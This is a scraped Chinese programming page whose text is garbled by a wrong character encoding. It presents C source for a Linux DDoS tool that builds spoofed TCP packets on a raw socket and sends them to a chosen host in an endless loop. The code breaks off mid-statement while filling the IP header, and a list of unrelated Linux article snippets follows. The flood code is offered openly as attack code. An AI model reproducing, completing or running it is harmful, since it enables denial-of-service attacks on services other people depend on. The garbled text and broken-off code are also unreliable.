Ò׽ؽØÍ¼Èí¼þ¡¢µ¥Îļþ¡¢Ãâ°²×°¡¢´¿ÂÌÉ«¡¢½ö160KB

LinuxÏÂÍøÂç¹¥»÷DDosµÄʵÏÖ´úÂ룬tcpÊý¾ÝÆÛÆ­µÄʵÏÖ

/*
×¢Ò⣺
Õâ´ÎÖ÷Òª¸ÄÁ˺¯Êýsend_tcpÀïµÄ´úÂ룬¾ÉµÄ´úÂëÔÚÌî³äip°üʱÓÐÎÊÌâ¡£
*/
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <stdio.h>
#include <netdb.h>
#define SRCPORT 1234
#define DSTPORT 80
struct prseuheader
{
unsigned long s_addr;
unsigned long d_addr;
unsigned char zero;
unsigned char prototp;
unsigned short len;
};
void send_tcp(int sockfd, struct sockaddr_in *addr);
unsigned short check_sum(unsigned short *addr, int len);
int main(int argc, char **argv)
{
int sockfd;
struct sockaddr_in addr;
struct hostent *host;
int on = 1;
if (argc != 2) {
fprintf(stderr, "Usage:%s hostname\n\a", argv[0]);
exit(1);
}
bzero(&addr, sizeof(struct sockaddr_in));
addr.sin_family = AF_INET;
addr.sin_port = htons(SRCPORT);
if (inet_aton(argv[1], &addr.sin_addr) == 0) {
host = gethostbyname(argv[1]);
if (host == NULL) {
fprintf(stderr, "HostName Error:%s\n\a", hstrerror(h_errno));
exit(1);
}
addr.sin_addr = *(struct in_addr *) (host->h_addr_list[0]);
}
//´´½¨Ò»¸öTCPµÄԭʼÌ×½Ó×Ö
sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
if (sockfd < 0) {
fprintf(stderr, "Socket Error:%s\n\a", strerror(errno));
exit(1);
}
//ÉèÖÃIPÊý¾Ý°ü¸ñʽ,¸æËßϵͳÄÚºËÄ£¿éIPÊý¾Ý°üÓÉÎÒÃÇ×Ô¼ºÀ´Ìîд
setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on));
//Ö»Ó󬼶»¤Óû§²Å¿ÉÒÔʹÓÃԭʼÌ×½Ó×Ö
setuid(getpid());
send_tcp(sockfd, &addr);
return 0;
}
void send_tcp(int sockfd, struct sockaddr_in *addr)
{
while (1)
{
char buffer[100];
char tcpbuff[32];
struct ip *ip;
struct tcphdr *tcp;
struct prseuheader theheader;
int head_len;
head_len = sizeof(struct ip) + sizeof(struct tcphdr);
memset((void*)buffer,'\0',100) ;
//Ìî³äIPÊý¾Ý°üÍ·
ip = (struct ip *) buffer;
ip->ip_v = IPVERSION;
ip->ip_hl = sizeof(struct ip) >> 2;
ip->ip_tos =


Ïà¹ØÎĵµ£º

ʵսLinux Bluetooth±à³Ì£¨ËÄ£© L2CAP²ã±à³Ì

£¨L2CAPЭÒé¼ò½é£¬L2CAPÔÚBlueZÖеÄʵÏÖÒÔ¼°L2CAP±à³Ì½Ó¿Ú£©
Ò»£ºL2CAPЭÒé¼ò½é£º
Logical Link Control and Adaptation Protocol(L2CAP)
Âß¼­Á¬½Ó¿ØÖƺÍÊÊÅäЭÒé (L2CAP) ΪÉϲãЭÒéÌá¹©ÃæÏòÁ¬½ÓºÍÎÞÁ¬½ÓµÄÊý¾Ý·þÎñ£¬²¢Ìṩ¶àЭÒ鹦ÄܺͷָîÖØ×é²Ù×÷¡£L2CAP ³äÐíÉϲãЭÒéºÍÓ¦ÓÃÈí¼þ´«ÊäºÍ½ÓÊÕ×î´ó³¤¶ÈΪ 64K µÄ L2CAP Ê ......

Linux Assembly "Hello World" Tutorial, CS 200

 
by Bjorn Chambless
Introduction
The following is designed familiarize the reader with programming in x86 (AT&T
style, that produced by gcc) assembly under Linux and how to interface assembly
and higher-level language code (i.e. C). The tutorial will also briefly cover
debugging yo ......

linux Ðźűí

Ãû³Æ             Ä¬È϶¯×÷    ËµÃ÷
SIGHUP    ÖÕÖ¹½ø³Ì    ÖÕ¶ËÏß·¹Ò¶Ï
SIGINT   ÖÕÖ¹½ø³Ì    ÖжϽø³Ì
SIGQUIT  ½¨Á¢COREÎļþ   ÖÕÖ¹½ø³Ì£¬²¢ÇÒÉú³ÉcoreÎļþ
SIGILL ......

REDHAT Enterprise Linux Æô¶¯Ä£Ê½±ä¸ü

ͨ¹ý±à¼­/etc/inittabÀïµÄid:5:initdefault:ÕâÒ»Ðеİ¢À­²®Êý×Ö£¬¿ÉʵÏÖÆô¶¯Ä£Ê½µÄת»»¡£ÀýÈ罫
id:5:initdefault:ÐÞ¸ÄΪid:3:initdefault:ÖØÐÂÆô¶¯ÏµÍ³ºó£¬ÎÒÃǿɿ´µ½Ô­À´µÄX-WindowͼÐβÙ×÷½çÃæ×ª»»³ÉÁË
Console×Ö·û½çÃæ¡£
ÔÚ×Ö·û½çÃæÏ´òÈëÃüÁîstartx¿É½øÈëͼÐνçÃæ£¬Í¼ÐνçÃæÏ¼üÈëctrl+alt+backspace½øÈë×Ö·û½çÃæ¡ ......

linux ¹²Ïí¿â»ù±¾Ê¹ÓãÛת£Ý


linux ¹²Ïí¿â»ù±¾Ê¹ÓÃ[ת]
xzq200 ·¢±íÓÚ 2007-6-16 11:02:00
0
ÍÆ¼ö
1 ´´½¨ºÍʹÓþ²Ì¬¿â
´´½¨Ò»¸ö¾²Ì¬¿âÊÇÏ൱¼òµ¥µÄ¡£Í¨³£Ê¹Óà ar ³ÌÐò°ÑһЩĿ±êÎļþ£¨.o£©×éºÏÔÚÒ»Æð£¬
³ÉΪһ¸öµ¥¶ÀµÄ¿â£¬È»ºóÔËÐÐ ranlib£¬ÒÔ¸ø¿â¼ÓÈëһЩË÷ÒýÐÅÏ¢¡£
2 ´´½¨ºÍʹÓù²Ïí¿â
ÌØÊâµÄ±àÒëºÍÁ¬½ÓÑ¡Ïî
-D_REENTRANT  &nbs ......
© 2009 ej38.com All Rights Reserved. ¹ØÓÚE½¡ÍøÁªÏµÎÒÃÇ | Õ¾µãµØÍ¼ | ¸ÓICP±¸09004571ºÅ